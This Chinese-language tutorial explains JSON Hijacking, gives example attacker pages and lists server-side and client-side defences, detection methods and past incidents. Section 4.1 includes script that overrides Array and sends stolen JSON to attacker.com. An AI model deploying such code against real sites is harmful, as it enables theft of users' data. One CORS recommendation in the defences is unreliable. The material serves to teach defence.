暴漫之JSON_Hijacking
字数 1699 2025-08-29 08:32:18
JSON Hijacking 攻击分析与防御
1. 什么是JSON Hijacking
JSON Hijacking(JSON劫持)是一种针对Web应用程序的安全攻击方式,攻击者利用浏览器同源策略的特性,窃取从服务器返回的JSON格式数据。
2. 攻击原理
JSON Hijacking攻击主要利用以下几个技术点:
-
浏览器同源策略的例外:虽然浏览器禁止跨域读取数据,但允许跨域嵌入某些资源(如script标签)
-
JSON数组的特殊性:当JSON数据以数组形式返回时,可以被JavaScript解释器直接执行
-
JavaScript原型链污染:通过重写Array构造函数或原型方法窃取数据
3. 攻击场景
典型的JSON Hijacking攻击场景:
- 目标API返回敏感JSON数组数据(如用户个人信息)
- API未验证请求来源或未对响应做适当处理
- 用户已登录目标网站,攻击者诱导用户访问恶意页面
4. 攻击示例
4.1 基本攻击方式
假设存在一个返回用户敏感信息的API:
https://victim.com/api/userinfo
返回数据:[{"id":1,"name":"admin","email":"admin@victim.com"}]
攻击者构造的恶意页面:
<script>
// 重写Array构造函数
function Array() {
// 当JSON数据被解析时,这里的代码会执行
var obj = this;
// 通过定时器获取完整数据
setTimeout(function() {
// 将窃取的数据发送到攻击者服务器
new Image().src = "http://attacker.com/steal?data=" + JSON.stringify(obj);
}, 100);
}
</script>
<!-- 通过script标签加载目标API -->
<script src="https://victim.com/api/userinfo"></script>
4.2 现代浏览器下的变种
由于现代浏览器对原生对象重写做了限制,攻击者可能采用以下方式:
<script>
Object.defineProperty(Array.prototype, "0", {
set: function(value) {
// 当数组元素被设置时触发
alert("Stolen: " + value);
}
});
</script>
<script src="https://victim.com/api/userinfo"></script>
5. 防御措施
5.1 服务器端防御
-
禁止JSON数组响应:
- 将响应包装为JSON对象而非数组
- 例如:
{"data": [{"id":1,"name":"admin"}]}代替[{"id":1,"name":"admin"}]
-
添加前缀:
- 在JSON响应前添加无效字符,如
while(1);或)]}',\n - 示例:
while(1);[{"id":1,"name":"admin"}]
- 在JSON响应前添加无效字符,如
-
设置Content-Type:
- 确保响应头包含
Content-Type: application/json - 避免浏览器将响应当作JavaScript执行
- 确保响应头包含
-
使用CSRF Token:
- 要求请求中包含有效的CSRF令牌
5.2 客户端防御
-
使用POST而非GET请求:
- JSON数据应通过POST请求获取
-
验证请求来源:
- 检查
Origin或Referer头部
- 检查
-
设置X-Content-Type-Options:
- 响应头中添加
X-Content-Type-Options: nosniff
- 响应头中添加
5.3 其他防御措施
-
启用CORS策略:
- 设置
Access-Control-Allow-Origin为特定域名而非* - 对于敏感数据,考虑使用
Access-Control-Allow-Credentials: true
- 设置
-
使用自定义数据格式:
- 考虑使用非标准格式如MessagePack
-
实施SameSite Cookie属性:
- 设置
SameSite=Strict或SameSite=Lax
- 设置
6. 检测方法
-
手动测试:
- 检查API是否返回JSON数组
- 尝试通过script标签加载API端点
-
自动化工具:
- 使用Burp Suite等工具扫描JSON端点
- 检查响应头和安全相关头部
7. 实际案例分析
7.1 历史漏洞
- Gmail漏洞(2006年):攻击者可以通过JSON Hijacking获取Gmail联系人列表
- Twitter漏洞(2010年):Twitter API曾受到JSON Hijacking攻击
7.2 现代框架的影响
现代前端框架(如React、Angular、Vue)通常使用XMLHttpRequest或Fetch API获取数据,这些API受同源策略限制,天然防御了JSON Hijacking。但开发者仍需注意:
- 避免直接使用
<script>标签加载API - 确保后端API有适当的安全措施
8. 总结
JSON Hijacking是一种利用浏览器特性窃取JSON数据的攻击方式,虽然现代浏览器和安全实践已减少其威胁,但仍需开发者注意:
- 永远不要以数组形式返回敏感JSON数据
- 实施适当的服务器端防御措施
- 结合其他安全机制如CSRF防护
- 定期进行安全审计和测试
通过理解攻击原理并实施多层防御,可以有效防止JSON Hijacking攻击。